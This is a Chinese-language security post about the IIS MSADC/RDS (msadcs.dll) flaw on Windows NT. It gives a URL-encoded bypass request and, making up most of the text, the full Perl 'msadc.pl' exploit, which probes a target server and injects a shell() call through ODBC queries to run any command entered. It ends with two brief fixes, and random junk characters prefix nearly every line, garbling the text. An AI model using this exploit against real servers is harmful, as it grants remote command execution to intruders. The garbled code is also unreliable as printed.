IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]!0*k#i_. DPy"FQYZ b 涉及程序：
nwO;> Qr Microsoft NT server
ckhW?T>l tk1qgj E(? 描述：
+twBFhS7k 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?+`Zef.g 3z ~zcQ^\ 详细：
hr]NW>; 如果你没有时间读详细内容的话，就删除:
1iF
|t5>e c:\Program Files\Common Files\System\Msadc\msadcs.dll
WGp81DNS| 有关的安全问题就没有了。
0m*0I > *pI3"_ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
2"V?+Hhz #c?\(qjWA 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
tw*qlb FHv 关于利用ODBC远程漏洞的描述，请参看:
)O2^?Q quS EkXns%][L http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm AQ+w%>G6 YW /YeID 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
3f M http://www.microsoft.com/security/bulletins/MS99-025faq.asp HC!$Z`}Y RJBNY;0 这里不再论述。
C(W?)6 ? IybMO5Mwn 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
yKfRwO[ j wXNFL9F8 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
O- r"G 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
[@>Kd`!' zFQxW4G 6PJ0iten #将下面这段保存为txt文件，然后: "perl -x 文件名"
Fnll&TF .b noK #!perl
CXA) Zl5# #
fyQAQZT # MSADC/RDS 'usage' (aka exploit) script
=>ph \ #
!7 *X{D v # by rain.forest.puppy
4fpz;2% #
B.&q]CA v- # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
`<\AnhNW]I # beta test and find errors!
T(3"bS., eeB^c/k(P use Socket; use Getopt::Std;
OBb getopts("e:vd:h:XR", \%args);
,h> 0k`J:a Kr ]F+erJe print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
LvW9kL+WiQ (Ptv#LSUX if (!defined $args{h} && !defined $args{R}) {
S=M$g#X`5 print qq~
&x;v& Usage: msadc.pl -h <host> { -d <delay> -X -v }
<R]?8L0{h -h <host> = host you want to scan (ip or domain)
B8B^@
-d <seconds> = delay between calls, default 1 second
^>k [T. -X = dump Index Server path table, if available
wU+ofj;
+I -v = verbose
!;iySRZr -e = external dictionary file for step 5
skZxR5v3~L =xa`)#4( Or a -R will resume a command session
\[Rh\v& cB?HMLbG> ~; exit;}
> cSc
>`s2s@Mx $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
A")B<BK if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
jOE b1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
!:e}d+F if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+J+]P\: $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
J. {[> if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
2ht< " HjV8 3S; if (!defined $args{R}){ $ret = &has_msadc;
W13$-hf9 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
G 9}[g)R* Ybd){Je"z print "Please type the NT commandline you want to run (cmd /c assumed):\n"
:5h&f . "cmd /c ";
bk#u0N $in=<STDIN>; chomp $in;
dos$d3B4 $command="cmd /c " . $in ;
$ IB@|n +2C:] if (defined $args{R}) {&load; exit;}
"C}nS=]8m #7gOtP#{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
$Ce`(/ &try_btcustmr;
J/RUKhs/ 0W]Wu [k print "\nStep 2: Trying to make our own DSN...";
/ ^!(rHf &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
{b]WLBy "L{;=-e print "\nStep 3: Trying known DSNs...";
9{ciD
"!&V &known_dsn;
E})PNf; Zf(ucAhL print "\nStep 4: Trying known .mdbs...";
8+gSn &known_mdb;
0g`W Re #4d 0/28b if (defined $args{e}){
ab3" ?.3m print "\nStep 5: Trying dictionary of DSN names...";
}t"!I\C &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
%{o5 }TqD I uhyBo print "Sorry Charley...maybe next time?\n";
iM} cd$r{ exit;
Vs9fAAXS4 y .
AN0 ##############################################################################
zjVb+Z\n <lv:mqV sub sendraw { # ripped and modded from whisker
ilzR/DJ Ma sleep($delay); # it's a DoS on the server! At least on mine...
B;?a. 81~ my ($pstr)=@_;
$,'r}
% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
7xWX:2l*? die("Socket problems\n");
#4~Ivj if(connect(S,pack "SnA4x8",2,80,$target)){
bumS>: select(S); $|=1;
?uh7m 2l0D print $pstr; my @in=<S>;
js k <N select(STDOUT); close(S);
C{e:xGJK return @in;
uXK $5" } else { die("Can't connect...\n"); }}
Yxi.A$ g )[%#HT ##############################################################################
9)H~I/9Y : @YZ6?hf sub make_header { # make the HTTP request
i,b>&V/Y$ my $msadc=<<EOT
_3kAN .g POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
iCz,|;w% User-Agent: ACTIVEDATA
=o+t_.)N Host: $ip
Lqwc:%Y:_ Content-Length: $clen
+a;: 7[%& Connection: Keep-Alive
Qv']*C[!z nA% - < ADCClientVersion:01.06
MPM_/dn- Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
UW)k ]@L Pm"
,7 --!ADM!ROX!YOUR!WORLD!
5n?fZ?6( Content-Type: application/x-varg
6;5}%
B:#h Content-Length: $reqlen
xr.fZMOh4 }bj Tb! EOT
. 5_w^4`b ; $msadc=~s/\n/\r\n/g;
7\5 [lM return $msadc;}
m #'u;GP]k ii{5z;I]X ##############################################################################
,X9Y/S
l CX\#
|Q8q sub make_req { # make the RDS request
LTFA2X&E= my ($switch, $p1, $p2)=@_;
gIRFqEz@o my $req=""; my $t1, $t2, $query, $dsn;
TLO-$ >h 8G(wYlxi if ($switch==1){ # this is the btcustmr.mdb query
;~xkT' $query="Select * from Customers where City=" . make_shell();
okr'=iDg $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
o2F6K*u} $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
co U`2n/ zXp{9P\c elsif ($switch==2){ # this is general make table query
LH0\SmhU $query="create table AZZ (B int, C varchar(10))";
8 I,(\<Xv $dsn="$p1";}
<R_3; 5J% 2nOQ48ha T elsif ($switch==3){ # this is general exploit table query
.X YSO $query="select * from AZZ where C=" . make_shell();
5?6 ATP:[ $dsn="$p1";}
-u)06C*39 X~n Kuo elsif ($switch==4){ # attempt to hork file info from index server
[ub,&j^ $query="select path from scope()";
5E}0 <& $dsn="Provider=MSIDXS;";}
q$U;\Mg) l3(k elsif ($switch==5){ # bad query
/AW6XyMD _ $query="select";
CDR^xo5
dP $dsn="$p1";}
#YjV3O5< JWH}0+1* $t1= make_unicode($query);
WYI? M $t2= make_unicode($dsn);
Mt-y{* 6!k $req = "\x02\x00\x03\x00";
l
^$$d8 $req.= "\x08\x00" . pack ("S1", length($t1));
&S c0l/ $req.= "\x00\x00" . $t1 ;
"T#c#? $req.= "\x08\x00" . pack ("S1", length($t2));
h`Y t4-Y $req.= "\x00\x00" . $t2 ;
?Yz.tg $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Fda <cS] return $req;}
)lH?XpfTjm 1!BV]&,[ ##############################################################################
ilpg() v)rN] b] sub make_shell { # this makes the shell() statement
Gz ^g!N[ return "'|shell(\"$command\")|'";}
24|:VxO ib uA~\ 5 ##############################################################################
:i?Z1x1` U3A >#EV sub make_unicode { # quick little function to convert to unicode
sHh2>f@ x$ my ($in)=@_; my $out;
Y5Ey%M m6 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
m ,]Tl;f return $out;}
*)u_m h k Zf 7 ##############################################################################
?CM,k0 uK): d&]Ux sub rdo_success { # checks for RDO return success (this is kludge)
}1W o#b+ my (@in) = @_; my $base=content_start(@in);
C, jPr )6) if($in[$base]=~/multipart\/mixed/){
R)G'ILneV return 1 if( $in[$base+10]=~/^\x09\x00/ );}
9 Q].cDe[ return 0;}
YQ e @C LOe!qt\& ##############################################################################
Og-M nx3 uodO^ 5"- sub make_dsn { # this makes a DSN for us
1gH5#_ ? my @drives=("c","d","e","f");
[NaU \;w\ print "\nMaking DSN: ";
Gf]oRNP,N foreach $drive (@drives) {
bCA3w%,kM print "$drive: ";
]:]2f 9y my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
)mwY]
! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
nef-xxXC^I . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
uCmdNY $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7|6 5;jm+ return 0 if $2 eq "404"; # not found/doesn't exist
l m-ubzJN if($2 eq "200") {
uyAhN foreach $line (@results) {
c S{ l2}E return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
6o6!O l } return 0;}
cF,u)+2b|6 D {>, 2hC ##############################################################################
0Wv9K~F Tz%l 9aC sub verify_exists {
,3N8 my ($page)=@_;
j >0S3P, my @results=sendraw("GET $page HTTP/1.0\n\n");
2Uu ,Vv return $results[0];}
8> O'_6Joj TvM{ QGN ##############################################################################
VwtGHF' c.jnPV f : sub try_btcustmr {
_FAwW<S4B my @drives=("c","d","e","f");
T /[)U
my @dirs=("winnt","winnt35","winnt351","win","windows");
B(b[Dbb F KL}6W: foreach $dir (@dirs) {
"D@m/l print "$dir -> "; # fun status so you can see progress
>o'D/'>ku foreach $drive (@drives) {
@0B<b7Jv print "$drive: "; # ditto
F~RUb& */< $reqlen=length( make_req(1,$drive,$dir) ) - 28;
1K wl_jf $reqlenlen=length( "$reqlen" );
ilFM+x @ $clen= 206 + $reqlenlen + $reqlen;
R Af+%h* &QCqaJ- my @results=sendraw(make_header() . make_req(1,$drive,$dir));
V 9=y@`; if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
w&f29#i;b else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
swlxV@NQ f
( UcJx ##############################################################################
Fi*6ud\n! Z <ke!H sub odbc_error {
oJXZ}>>iT my (@in)=@_; my $base;
tDIzn`$ z my $base = content_start(@in);
B-M|}T if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
|a^ ydwb $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
hRc\&+#/ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Q Z 9 )uI $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`.[hOQ7 return $in[$base+4].$in[$base+5].$in[$base+6];}
r!Mr\ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Q9W*)gBv n print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
UP, 0`fh(y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
-pkeEuwv{ azOp53zR ##############################################################################
Q5 ohaxjF wiwJD}3h' sub verbose {
nC>#@*+jK my ($in)=@_;
r("7
X2f return if !$verbose;
Wy4v~]xd% print STDOUT "\n$in\n";}
9f
BD.9A {L<t6A ##############################################################################
#1m!,t C 7d'@Z2%J0 sub save {
_)%4NjWKk my ($p1, $p2, $p3, $p4)=@_;
:i:Zc~% open(OUT, ">rds.save") || print "Problem saving parameters...\n";
wl(}F^:/` print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
RZ?>>Ll6 close OUT;}
?8vjHEE n7{1m$/ ##############################################################################
!km o% + I0OsaX' sub load {
Prjl ;[I} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
X*FK6,Y|( open(IN,"<rds.save") || die("Couldn't open rds.save\n");
G_d i a6 @p=<IN>; close(IN);
*OsXjL`f $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
O#u)~C?)8 $target= inet_aton($ip) || die("inet_aton problems");
'OF)`5sj print "Resuming to $ip ...";
/vU9eh"% $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
qn4Dm ^ if($p[1]==1) {
B= n]N+ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
14zo0ANM $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
.l#Pmd! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
r2U2pAy# if (rdo_success(@results)){print "Success!\n";}
ijoR(R^r else { print "failed\n"; verbose(odbc_error(@results));}}
+8 6\&y) elsif ($p[1]==3){
.: <c[EJ
b if(run_query("$p[3]")){
t'[vN~I' print "Success!\n";} else { print "failed\n"; }}
JziMjR elsif ($p[1]==4){
U/jJ@8 if(run_query($drvst . "$p[3]")){
QW~o+N~~ print "Success!\n"; } else { print "failed\n"; }}
N#ex2c exit;}
NPf,9c; >@ EQarD ##############################################################################
M5P63=1 + FIG5]u sub create_table {
?]paAP;4 my ($in)=@_;
Kz ^aW $reqlen=length( make_req(2,$in,"") ) - 28;
3c-ve$8u~ $reqlenlen=length( "$reqlen" );
I94;1(Cs% $clen= 206 + $reqlenlen + $reqlen;
F}.Af =<Q my @results=sendraw(make_header() . make_req(2,$in,""));
39 k
P)cD return 1 if rdo_success(@results);
y/kCzD T , my $temp= odbc_error(@results); verbose($temp);
k Mwt&6wS return 1 if $temp=~/Table 'AZZ' already exists/;
ZE}m\|$ return 0;}
nNQ\r O gb@!Co3 ##############################################################################
< u^41 ! '2'db sub known_dsn {
-B`;Sx # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&s]
s] V) my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
egP3q5~ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
QjZ}*p "banner", "banners", "ads", "ADCDemo", "ADCTest");
NWoZDsu +S3'm s foreach $dSn (@dsns) {
%81tVhg print ".";
9N'$Y*. d< next if (!is_access("DSN=$dSn"));
CQ v
[Od if(create_table("DSN=$dSn")){
-R&h?ec print "$dSn successful\n";
XWB>'
UDQ# if(run_query("DSN=$dSn")){
tQ |b?3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]J htO{ print "Something's borked. Use verbose next time\n";}}} print "\n";}
RA\H?1;8C e3(0L I ##############################################################################
n,AN&BZ -$T5@ sub is_access {
:mg#&MZj< my ($in)=@_;
Dvx"4EA{7{ $reqlen=length( make_req(5,$in,"") ) - 28;
A= ,q& $reqlenlen=length( "$reqlen" );
K-vso4@BJ $clen= 206 + $reqlenlen + $reqlen;
}i/{8Ou W my @results=sendraw(make_header() . make_req(5,$in,""));
AY! zXJ_$ my $temp= odbc_error(@results);
4| Y0 $(6o verbose($temp); return 1 if ($temp=~/Microsoft Access/);
TFM}P return 0;}
"K FCA9u- <@zOdW|{: ##############################################################################
Nwu#,f=X nLQ X? : sub run_query {
uO":\<1# my ($in)=@_;
4|XE
f, $reqlen=length( make_req(3,$in,"") ) - 28;
hs/nM"V
$reqlenlen=length( "$reqlen" );
5_`.9@eh. $clen= 206 + $reqlenlen + $reqlen;
/&kTVuN"( my @results=sendraw(make_header() . make_req(3,$in,""));
,'ndQ{\9 return 1 if rdo_success(@results);
XeZv%` ? my $temp= odbc_error(@results); verbose($temp);
PE4{;|a } return 0;}
[{Y$]3?} @${!C\([1 ##############################################################################
@j^qT-0M ;9p rsv f
sub known_mdb {
|
C2k( my @drives=("c","d","e","f","g");
xt3IR0 my @dirs=("winnt","winnt35","winnt351","win","windows");
BJ&>'rc my $dir, $drive, $mdb;
pq4+n'uO my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
wI`uAZ=" { ! FrI@ # this is sparse, because I don't know of many
Hq%`DWus\ my @sysmdbs=( "\\catroot\\icatalog.mdb",
&"L3U "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
_ROe!w 1 "\\system32\\certmdb.mdb",
~&Kf J "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6 QxLHQA "M? (Ax my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
NtA}I)'SWU "\\cfusion\\cfapps\\forums\\forums_.mdb",
I/Vlw- "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
xE0+3@_>> "\\cfusion\\cfapps\\security\\realm_.mdb",
8:0l5cZE "\\cfusion\\cfapps\\security\\data\\realm.mdb",
}>h?W 1 "\\cfusion\\database\\cfexamples.mdb",
>i=O =w "\\cfusion\\database\\cfsnippets.mdb",
%K%8
~B "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
[[bMYD1eO "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
(jQL? "\\cfusion\\brighttiger\\database\\cleam.mdb",
@A yC0} "\\cfusion\\database\\smpolicy.mdb",
mFo6f\DHr` "\\cfusion\\database\cypress.mdb",
Z NuyGo; "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Y R A[qc "\\website\\cgi-win\\dbsample.mdb",
dXdU4YJ X "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
sN ;U,{ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
yJKezIL\z ); #these are just
w[VWk foreach $drive (@drives) {
b"f 4}b foreach $dir (@dirs){
MKQa&Dvw foreach $mdb (@sysmdbs) {
}"3L>%Q5 print ".";
HD`Gi0 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
R)<>} y print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
3J [P(G>Q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
;w@ : print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
~ xXB
!K~C } else { print "Something's borked. Use verbose next time\n"; }}}}}
i#Wl?(-i VW'e&v1 . foreach $drive (@drives) {
DVCc^5# foreach $mdb (@mdbs) {
k:d'aP3 print ".";
-gC=%0sp\ if(create_table($drv . $drive . $dir . $mdb)){
m =opY~&h print "\n" . $drive . $dir . $mdb . " successful\n";
%K/rPhU if(run_query($drv . $drive . $dir . $mdb)){
Bp4QHv9xqL print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
KH@M &
>=^ } else { print "Something's borked. Use verbose next time\n"; }}}}
0 "<g g5 }
n#x{~oQc CBO8^M<K ##############################################################################
#" f: m` F msg*s7w sub hork_idx {
a_pkUOu6 print "\nAttempting to dump Index Server tables...\n";
s+ 0$_&xR print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
6?hv ,^ $reqlen=length( make_req(4,"","") ) - 28;
Q.cxen $reqlenlen=length( "$reqlen" );
blS*H Kw $clen= 206 + $reqlenlen + $reqlen;
`;i|
%$TU my @results=sendraw2(make_header() . make_req(4,"",""));
hz )L+ if (rdo_success(@results)){
1{u;-pg my $max=@results; my $c; my %d;
qOk 4qbl[ for($c=19; $c<$max; $c++){
wN*e6dOF $results[$c]=~s/\x00//g;
N5~g:([k $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
M g;;o $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
x.4 5! 8Zb $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
^]Gt<_ $d{"$1$2"}="";}
5M*ZZ+ YX foreach $c (keys %d){ print "$c\n"; }
o^>*aQ!7<D } else {print "Index server doesn't seem to be installed.\n"; }}
}TYC F @ a+J :1' ##############################################################################
V {a 7@_y J .El& Dev sub dsn_dict {
yqB{QFXO open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_c %~\LOk while(<IN>){
g fO.Ky6 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
U);
,Opr next if (!is_access("DSN=$dSn"));
N| Rlb5\ if(create_table("DSN=$dSn")){
d)dIIzv print "$dSn successful\n";
b z<wihZj if(run_query("DSN=$dSn")){
xu_Tocvop print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
"qwRcuHY print "Something's borked. Use verbose next time\n";}}}
iRPd=) print "\n"; close(IN);}
@++
X H } ( XE`, # ##############################################################################
~A"ODLgU9 t CA |sN sub sendraw2 { # ripped and modded from whisker
{_Ke'"
k sleep($delay); # it's a DoS on the server! At least on mine...
d5bj$oH my ($pstr)=@_;
TmO\!` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
T0aK1Lh die("Socket problems\n");
'kYV}rq;l if(connect(S,pack "SnA4x8",2,80,$target)){
Wp >W?'` print "Connected. Getting data";
@^`f~0#: open(OUT,">raw.out"); my @in;
@.M M- select(S); $|=1; print $pstr;
/i$&89yod while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
NO 6. qWl close(OUT); select(STDOUT); close(S); return @in;
)_+#yaC } else { die("Can't connect...\n"); }}
3+!N[6Od9 Ue-HO ##############################################################################
XFd[>U<X U,g!KN3P sub content_start { # this will take in the server headers
cZ o]*Gv. my (@in)=@_; my $c;
a1om8! C for ($c=1;$c<500;$c++) {
R=8!]Oi6 if($in[$c] =~/^\x0d\x0a/){
Y B)1dzU if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
%L~X\M:Qk else { return $c+1; }}}
m>UJ; F return -1;} # it should never get here actually
!Ng^k>*h x)V .^- ##############################################################################
Lu-owP7nB V1j&>-]]9* sub funky {
ym1TGeFAq my (@in)=@_; my $error=odbc_error(@in);
v "oO
if($error=~/ADO could not find the specified provider/){
J!S3pS5j print "\nServer returned an ADO miscofiguration message\nAborting.\n";
~r|.GY exit;}
9X=#wh,q if($error=~/A Handler is required/){
e2Xx7*vS print "\nServer has custom handler filters (they most likely are patched)\n";
m#8KCZS exit;}
!%5{jO1 if($error=~/specified Handler has denied Access/){
1 w\Y ._jK print "\nServer has custom handler filters (they most likely are patched)\n";
/\Q {i#v exit;}}
W%U m:C\I h2,A cM ##############################################################################
yhUc]6`V.H IK}T. *[ sub has_msadc {
=m-_0xo my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Ya=QN< my $base=content_start(@results);
g]jtVQH'] return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
kqHh@]Z0' return 0;}
Zwq
u S9 8l)l9;4 6 ########################
W*8 D@a0 _ 1eT| B&L{/.v_z\ 解决方案：
4N#0w]_,>Y 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
6x -PGq 2、移除web 目录: /msadc
